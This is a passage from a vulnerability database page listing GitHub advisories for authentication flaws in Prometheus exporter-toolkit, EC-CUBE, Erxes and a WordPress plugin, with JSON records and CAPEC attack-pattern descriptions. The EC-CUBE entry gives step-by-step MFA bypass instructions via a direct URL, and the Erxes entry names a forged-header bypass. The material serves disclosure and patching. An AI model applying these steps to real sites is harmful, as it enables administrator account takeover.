      "type": "WEB",
      "url": "http://lists.apple.com/archives/security-announce/2012/May/msg00001.html"
    },
    {
      "type": "WEB",
      "url": "http://support.apple.com/kb/HT5281"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/53445"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-7RG2-CXVP-9P7P

Vulnerability from github – Published: 2022-12-02 22:25 – Updated: 2022-12-02 22:25
VLAI
Summary
Prometheus Exporter-Toolkit is vulnerable to authentication bypass
Details

Impact

Prometheus and its exporters can be secured by a web.yml file that specifies usernames and hashed passwords for basic authentication.

Passwords are hashed with bcrypt, which means that even if you have access to the hash, it is very hard to find the original password back.

However, a flaw in the way this mechanism was implemented in the exporter toolkit makes it possible with people who know the hashed password to authenticate against Prometheus.

A request can be forged by an attacker to poison the internal cache used to cache the computation of hashes and make subsequent requests successful. This cache is used in both happy and unhappy scenarios in order to limit side channel attacks that could tell an attacker if a user is present in the file or not.

Patches

The exporter-toolkit v0.7.3 and v0.8.2 have been released to address this issue.

Workarounds

There is no workaround but attacker must have access to the hashed password, stored in disk, to bypass the authentication.

Credit

We want to thank Lei Wan reporting this security issue.

Severity
6.2 (Medium)
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/prometheus/exporter-toolkit"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.7.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/prometheus/exporter-toolkit"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.8.0"
            },
            {
              "fixed": "0.8.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-46146"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-12-02T22:25:46Z",
    "nvd_published_at": "2022-11-29T14:15:00Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nPrometheus and its exporters can be secured by a web.yml file that specifies usernames and hashed passwords for basic authentication.\n\nPasswords are hashed with bcrypt, which means that even if you have access to the hash, it is very hard to find the original password back.\n\nHowever, a flaw in the way this mechanism was implemented in the exporter toolkit makes it possible with people who know the hashed password to authenticate against Prometheus.\n\nA request can be forged by an attacker to poison the internal cache used to cache the computation of hashes and make subsequent requests successful. This cache is used in both happy and unhappy scenarios in order to limit side channel attacks that could tell an attacker if a user is present in the file or not.\n\n### Patches\n\nThe exporter-toolkit v0.7.3 and v0.8.2 have been released to address this issue.\n\n### Workarounds\n\nThere is no workaround but attacker must have access to the hashed password, stored in disk, to bypass the authentication.\n\n### Credit\n\nWe want to thank Lei Wan reporting this security issue.\n",
  "id": "GHSA-7rg2-cxvp-9p7p",
  "modified": "2022-12-02T22:25:46Z",
  "published": "2022-12-02T22:25:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/prometheus/exporter-toolkit/security/advisories/GHSA-7rg2-cxvp-9p7p"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-46146"
    },
    {
      "type": "WEB",
      "url": "https://github.com/prometheus/exporter-toolkit/commit/25288779bc59d00c41b4a1706c6b87f0561ef2d7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/prometheus/exporter-toolkit/commit/5b1eab34484ddd353986bce736cd119d863e4ff5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/prometheus/exporter-toolkit"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/JRSHISR64L6QGSMDFZDNPHHIXSCAKK26"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/UH24VXIB25OGHF4VGY4PLZMTGTI3BHCA"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/ULVDTAI76VATRAHTKCE2SUJ4NC3PQZ6Y"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/JRSHISR64L6QGSMDFZDNPHHIXSCAKK26"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UH24VXIB25OGHF4VGY4PLZMTGTI3BHCA"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ULVDTAI76VATRAHTKCE2SUJ4NC3PQZ6Y"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/202401-15"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2022/11/29/1"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2022/11/29/2"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2022/11/29/4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Prometheus Exporter-Toolkit is vulnerable to authentication bypass"
}

GHSA-7RHV-H82H-VPJH

Vulnerability from github – Published: 2026-03-05 21:14 – Updated: 2026-03-05 21:14
VLAI
Summary
EC-CUBE has a Vulnerability that Allows MFA Bypass in the Administrative Interface
Details

Vulnerability Allowing MFA Bypass

Affected EC-CUBE Versions

Versions: 4.1.0 – 4.3.1

Vulnerability Overview

If an administrator’s ID and password are compromised, an issue exists that allows an attacker to bypass the normally required two-factor authentication (2FA) and log in to the administrative interface.

Severity and Impact

CVSS v3.1 score
Base score: 6.2 / Temporal score: 5.7 / Environmental score (after mitigation and countermeasures): 0.0

An attacker can forcibly overwrite the 2FA configuration of an account with administrative privileges. As a result, the legitimate administrator can be locked out, while the attacker can log in to the administrative interface and perform unauthorized actions such as viewing sensitive information or tampering with the website.

Root Cause Details

There are flaws in the access control implementation for the 2FA settings page (/admin/two_factor_auth/set).

  1. TwoFactorAuthListener.php
    The route for the 2FA settings page (admin_two_factor_auth_set) is included in the list of routes excluded from the 2FA authentication check.

  2. TwoFactorAuthController.php
    Even for users who already have 2FA configured, the implementation allows reconfiguration (overwriting) of the 2FA secret key without passing 2FA authentication.

Attack Preconditions and Steps

Preconditions: - The attacker knows the administrative user’s ID and password. - 2FA is enabled for that user.

Attack Steps: 1. Attempt to log in using the ID and password. 2. When the 2FA code entry screen is displayed, do not enter a code; instead, directly modify the URL to access /admin/two_factor_auth/set. 3. Because access is not denied, the attacker can generate and save (overwrite) a new 2FA secret key.

MFAバイパスが可能な脆弱性

EC-CUBEバージョン

バージョン: 4.1.0 ~ 4.3.1

脆弱性の概要

管理者のIDとパスワードが漏洩している場合、本来必要な2段階認証を回避して管理画面にログインできてしまう問題です。

深刻度と影響

CVSS3.1スコア：基本評価:6.2 / 現状評価:5.7 / 環境評価(緩和・対策後):0.0

攻撃者は管理者権限を持つアカウントの2FA設定を強制的に上書きできます。これにより、正規の管理者を締め出しつつ、攻撃者自身が管理画面へログインし、機密情報の閲覧やWebサイトの改ざんなどの不正操作を行うことが可能になります。

脆弱性の詳細な原因

システムの実装において、2FA設定画面(/admin/two_factor_auth/set)へのアクセス制御に不備があり。

  1. TwoFactorAuthListener.php 2FA認証チェックを除外するルート設定に、設定画面(admin_two_factor_auth_set)が含まれている。
  2. TwoFactorAuthController.php 既に2FA設定済みのユーザーであっても、2FA認証を通過せずに新しい鍵の再設定(上書き)を受け入れてしまう仕様になっている。

攻撃の成立条件と手順

前提条件: 管理ユーザーのIDとパスワードを知っていること。 そのユーザーで2FAが有効化されていること。

攻撃手順:

  1. IDとパスワードでログインを試行する。
  2. 2FAコード入力画面が表示されるが、入力を行わずに直接URLを書き換えて /admin/two_factor_auth/set へアクセスする。
  3. アクセスが拒否されないため、攻撃者は新しい2FA秘密鍵を発行し、保存(上書き)する。
  4. 以降、攻撃者が作成した新しい2FAコードを使ってログインが可能になる。
Severity
6.7 (Medium)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "ec-cube/ec-cube"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.1.0"
            },
            {
              "last_affected": "4.3.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-05T21:14:57Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "# Vulnerability Allowing MFA Bypass\n\n## Affected EC-CUBE Versions\nVersions: 4.1.0 \u2013 4.3.1\n\n## Vulnerability Overview\nIf an administrator\u2019s ID and password are compromised, an issue exists that allows an attacker to bypass the normally required two-factor authentication (2FA) and log in to the administrative interface.\n\n## Severity and Impact\n\n**CVSS v3.1 score**  \nBase score: 6.2 / Temporal score: 5.7 / Environmental score (after mitigation and countermeasures): 0.0\n\nAn attacker can forcibly overwrite the 2FA configuration of an account with administrative privileges. As a result, the legitimate administrator can be locked out, while the attacker can log in to the administrative interface and perform unauthorized actions such as viewing sensitive information or tampering with the website.\n\n## Root Cause Details\n\nThere are flaws in the access control implementation for the 2FA settings page (`/admin/two_factor_auth/set`).\n\n1. **TwoFactorAuthListener.php**  \n   The route for the 2FA settings page (`admin_two_factor_auth_set`) is included in the list of routes excluded from the 2FA authentication check.\n\n2. **TwoFactorAuthController.php**  \n   Even for users who already have 2FA configured, the implementation allows reconfiguration (overwriting) of the 2FA secret key without passing 2FA authentication.\n\n## Attack Preconditions and Steps\n\n**Preconditions:**\n- The attacker knows the administrative user\u2019s ID and password.\n- 2FA is enabled for that user.\n\n**Attack Steps:**\n1. Attempt to log in using the ID and password.\n2. When the 2FA code entry screen is displayed, do not enter a code; instead, directly modify the URL to access `/admin/two_factor_auth/set`.\n3. Because access is not denied, the attacker can generate and save (overwrite) a new 2FA secret key.\n\n\n# MFA\u30d0\u30a4\u30d1\u30b9\u304c\u53ef\u80fd\u306a\u8106\u5f31\u6027\n\n## EC-CUBE\u30d0\u30fc\u30b8\u30e7\u30f3\n\u30d0\u30fc\u30b8\u30e7\u30f3:  4.1.0 ~ 4.3.1\n\n## \u8106\u5f31\u6027\u306e\u6982\u8981\n\u7ba1\u7406\u8005\u306eID\u3068\u30d1\u30b9\u30ef\u30fc\u30c9\u304c\u6f0f\u6d29\u3057\u3066\u3044\u308b\u5834\u5408\u3001\u672c\u6765\u5fc5\u8981\u306a2\u6bb5\u968e\u8a8d\u8a3c\u3092\u56de\u907f\u3057\u3066\u7ba1\u7406\u753b\u9762\u306b\u30ed\u30b0\u30a4\u30f3\u3067\u304d\u3066\u3057\u307e\u3046\u554f\u984c\u3067\u3059\u3002\n\n## \u6df1\u523b\u5ea6\u3068\u5f71\u97ff\n\nCVSS3.1\u30b9\u30b3\u30a2\uff1a\u57fa\u672c\u8a55\u4fa1:6.2  / \u73fe\u72b6\u8a55\u4fa1:5.7  / \u74b0\u5883\u8a55\u4fa1(\u7de9\u548c\u30fb\u5bfe\u7b56\u5f8c):0.0 \n\n\u653b\u6483\u8005\u306f\u7ba1\u7406\u8005\u6a29\u9650\u3092\u6301\u3064\u30a2\u30ab\u30a6\u30f3\u30c8\u306e2FA\u8a2d\u5b9a\u3092\u5f37\u5236\u7684\u306b\u4e0a\u66f8\u304d\u3067\u304d\u307e\u3059\u3002\u3053\u308c\u306b\u3088\u308a\u3001\u6b63\u898f\u306e\u7ba1\u7406\u8005\u3092\u7de0\u3081\u51fa\u3057\u3064\u3064\u3001\u653b\u6483\u8005\u81ea\u8eab\u304c\u7ba1\u7406\u753b\u9762\u3078\u30ed\u30b0\u30a4\u30f3\u3057\u3001\u6a5f\u5bc6\u60c5\u5831\u306e\u95b2\u89a7\u3084Web\u30b5\u30a4\u30c8\u306e\u6539\u3056\u3093\u306a\u3069\u306e\u4e0d\u6b63\u64cd\u4f5c\u3092\u884c\u3046\u3053\u3068\u304c\u53ef\u80fd\u306b\u306a\u308a\u307e\u3059\u3002\n\n## \u8106\u5f31\u6027\u306e\u8a73\u7d30\u306a\u539f\u56e0\n\n\u30b7\u30b9\u30c6\u30e0\u306e\u5b9f\u88c5\u306b\u304a\u3044\u3066\u30012FA\u8a2d\u5b9a\u753b\u9762(/admin/two_factor_auth/set)\u3078\u306e\u30a2\u30af\u30bb\u30b9\u5236\u5fa1\u306b\u4e0d\u5099\u304c\u3042\u308a\u3002\n\n1. TwoFactorAuthListener.php\n2FA\u8a8d\u8a3c\u30c1\u30a7\u30c3\u30af\u3092\u9664\u5916\u3059\u308b\u30eb\u30fc\u30c8\u8a2d\u5b9a\u306b\u3001\u8a2d\u5b9a\u753b\u9762(admin_two_factor_auth_set)\u304c\u542b\u307e\u308c\u3066\u3044\u308b\u3002\n2. TwoFactorAuthController.php\n\u65e2\u306b2FA\u8a2d\u5b9a\u6e08\u307f\u306e\u30e6\u30fc\u30b6\u30fc\u3067\u3042\u3063\u3066\u3082\u30012FA\u8a8d\u8a3c\u3092\u901a\u904e\u305b\u305a\u306b\u65b0\u3057\u3044\u9375\u306e\u518d\u8a2d\u5b9a(\u4e0a\u66f8\u304d)\u3092\u53d7\u3051\u5165\u308c\u3066\u3057\u307e\u3046\u4ed5\u69d8\u306b\u306a\u3063\u3066\u3044\u308b\u3002\n\n## \u653b\u6483\u306e\u6210\u7acb\u6761\u4ef6\u3068\u624b\u9806\n\n\u524d\u63d0\u6761\u4ef6:\n\u7ba1\u7406\u30e6\u30fc\u30b6\u30fc\u306eID\u3068\u30d1\u30b9\u30ef\u30fc\u30c9\u3092\u77e5\u3063\u3066\u3044\u308b\u3053\u3068\u3002\n\u305d\u306e\u30e6\u30fc\u30b6\u30fc\u30672FA\u304c\u6709\u52b9\u5316\u3055\u308c\u3066\u3044\u308b\u3053\u3068\u3002\n\n\u653b\u6483\u624b\u9806:\n\n1. ID\u3068\u30d1\u30b9\u30ef\u30fc\u30c9\u3067\u30ed\u30b0\u30a4\u30f3\u3092\u8a66\u884c\u3059\u308b\u3002\n2. 2FA\u30b3\u30fc\u30c9\u5165\u529b\u753b\u9762\u304c\u8868\u793a\u3055\u308c\u308b\u304c\u3001\u5165\u529b\u3092\u884c\u308f\u305a\u306b\u76f4\u63a5URL\u3092\u66f8\u304d\u63db\u3048\u3066 /admin/two_factor_auth/set \u3078\u30a2\u30af\u30bb\u30b9\u3059\u308b\u3002\n3. \u30a2\u30af\u30bb\u30b9\u304c\u62d2\u5426\u3055\u308c\u306a\u3044\u305f\u3081\u3001\u653b\u6483\u8005\u306f\u65b0\u3057\u30442FA\u79d8\u5bc6\u9375\u3092\u767a\u884c\u3057\u3001\u4fdd\u5b58(\u4e0a\u66f8\u304d)\u3059\u308b\u3002\n4. \u4ee5\u964d\u3001\u653b\u6483\u8005\u304c\u4f5c\u6210\u3057\u305f\u65b0\u3057\u30442FA\u30b3\u30fc\u30c9\u3092\u4f7f\u3063\u3066\u30ed\u30b0\u30a4\u30f3\u304c\u53ef\u80fd\u306b\u306a\u308b\u3002",
  "id": "GHSA-7rhv-h82h-vpjh",
  "modified": "2026-03-05T21:14:57Z",
  "published": "2026-03-05T21:14:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/EC-CUBE/ec-cube/security/advisories/GHSA-7rhv-h82h-vpjh"
    },
    {
      "type": "WEB",
      "url": "https://github.com/EC-CUBE/ec-cube/commit/094785943bfc3815c29f0cce9dbabb9bcc688474"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/EC-CUBE/ec-cube"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "EC-CUBE has a Vulnerability that Allows MFA Bypass in the Administrative Interface"
}

GHSA-7RHV-XM4Q-WH42

Vulnerability from github – Published: 2025-06-10 18:32 – Updated: 2025-06-10 20:26
VLAI
Summary
Erxes Incorrect Access Control vulnerability
Details

Erxes <1.6.1 is vulnerable to Incorrect Access Control. An attacker can bypass authentication by providing a "User" HTTP header that contains any user, allowing them to talk to any GraphQL endpoint.

Severity
7.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "erxes"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.6.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-57190"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-287"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-06-10T20:26:40Z",
    "nvd_published_at": "2025-06-10T17:20:38Z",
    "severity": "HIGH"
  },
  "details": "Erxes \u003c1.6.1 is vulnerable to Incorrect Access Control. An attacker can bypass authentication by providing a \"User\" HTTP header that contains any user, allowing them to talk to any GraphQL endpoint.",
  "id": "GHSA-7rhv-xm4q-wh42",
  "modified": "2025-06-10T20:26:40Z",
  "published": "2025-06-10T18:32:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-57190"
    },
    {
      "type": "WEB",
      "url": "https://github.com/erxes/erxes/commit/4ed2ca797241d2ba0c9083feeadd9755c1310ce8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/erxes/erxes"
    },
    {
      "type": "WEB",
      "url": "https://www.sonarsource.com/blog/micro-services-major-headaches-detecting-vulnerabilities-in-erxes-microservices"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Erxes Incorrect Access Control vulnerability"
}

GHSA-7RJ5-723H-386Q

Vulnerability from github – Published: 2023-08-09 06:31 – Updated: 2026-04-08 21:31
VLAI
Details

The FULL - Customer plugin for WordPress is vulnerable to Information Disclosure via the /health REST route in versions up to, and including, 2.2.3 due to improper authorization. This allows authenticated attackers with subscriber-level permissions and above to obtain sensitive information about the site configuration as disclosed by the WordPress health check.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-4242"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-08-09T04:15:10Z",
    "severity": "MODERATE"
  },
  "details": "The FULL - Customer plugin for WordPress is vulnerable to Information Disclosure via the /health REST route in versions up to, and including, 2.2.3 due to improper authorization. This allows authenticated attackers with subscriber-level permissions and above to obtain sensitive information about the site configuration as disclosed by the WordPress health check.",
  "id": "GHSA-7rj5-723h-386q",
  "modified": "2026-04-08T21:31:59Z",
  "published": "2023-08-09T06:31:10Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-4242"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/full-customer/tags/1.1.0/app/api/Health.php"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/full-customer/tags/2.3/app/api/Controller.php?rev=2951561"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/a77d0fb5-8829-407d-a40a-169cf0c5f837?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Architecture and Design

Strategy: Libraries or Frameworks

Use an authentication framework or library such as the OWASP ESAPI Authentication feature.

CAPEC-114: Authentication Abuse

An attacker obtains unauthorized access to an application, service or device either through knowledge of the inherent weaknesses of an authentication mechanism, or by exploiting a flaw in the authentication scheme's implementation. In such an attack an authentication mechanism is functioning but a carefully controlled sequence of events causes the mechanism to grant access to the attacker.

CAPEC-115: Authentication Bypass

An attacker gains access to application, service, or device with the privileges of an authorized or privileged user by evading or circumventing an authentication mechanism. The attacker is therefore able to access protected data without authentication ever having taken place.

CAPEC-151: Identity Spoofing

Identity Spoofing refers to the action of assuming (i.e., taking on) the identity of some other entity (human or non-human) and then using that identity to accomplish a goal. An adversary may craft messages that appear to come from a different principle or use stolen / spoofed authentication credentials.

CAPEC-194: Fake the Source of Data

An adversary takes advantage of improper authentication to provide data or services under a falsified identity. The purpose of using the falsified identity may be to prevent traceability of the provided data or to assume the rights granted to another individual. One of the simplest forms of this attack would be the creation of an email message with a modified "From" field in order to appear that the message was sent from someone other than the actual sender. The root of the attack (in this case the email system) fails to properly authenticate the source and this results in the reader incorrectly performing the instructed action. Results of the attack vary depending on the details of the attack, but common results include privilege escalation, obfuscation of other attacks, and data corruption/manipulation.

CAPEC-22: Exploiting Trust in Client

An attack of this type exploits vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by communicating directly with the server where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.

CAPEC-57: Utilizing REST's Trust in the System Resource to Obtain Sensitive Data

This attack utilizes a REST(REpresentational State Transfer)-style applications' trust in the system resources and environment to obtain sensitive data once SSL is terminated.

CAPEC-593: Session Hijacking

This type of attack involves an adversary that exploits weaknesses in an application's use of sessions in performing authentication. The adversary is able to steal or manipulate an active session and use it to gain unathorized access to the application.

CAPEC-633: Token Impersonation

An adversary exploits a weakness in authentication to create an access token (or equivalent) that impersonates a different entity, and then associates a process/thread to that that impersonated token. This action causes a downstream user to make a decision or take action that is based on the assumed identity, and not the response that blocks the adversary.

CAPEC-650: Upload a Web Shell to a Web Server

By exploiting insufficient permissions, it is possible to upload a web shell to a web server in such a way that it can be executed remotely. This shell can have various capabilities, thereby acting as a "gateway" to the underlying web server. The shell might execute at the higher permission level of the web server, providing the ability the execute malicious code at elevated levels.

CAPEC-94: Adversary in the Middle (AiTM)

An adversary targets the communication between two components (typically client and server), in order to alter or obtain data from transactions. A general approach entails the adversary placing themself within the communication channel between the two components.

← Back to the CWE list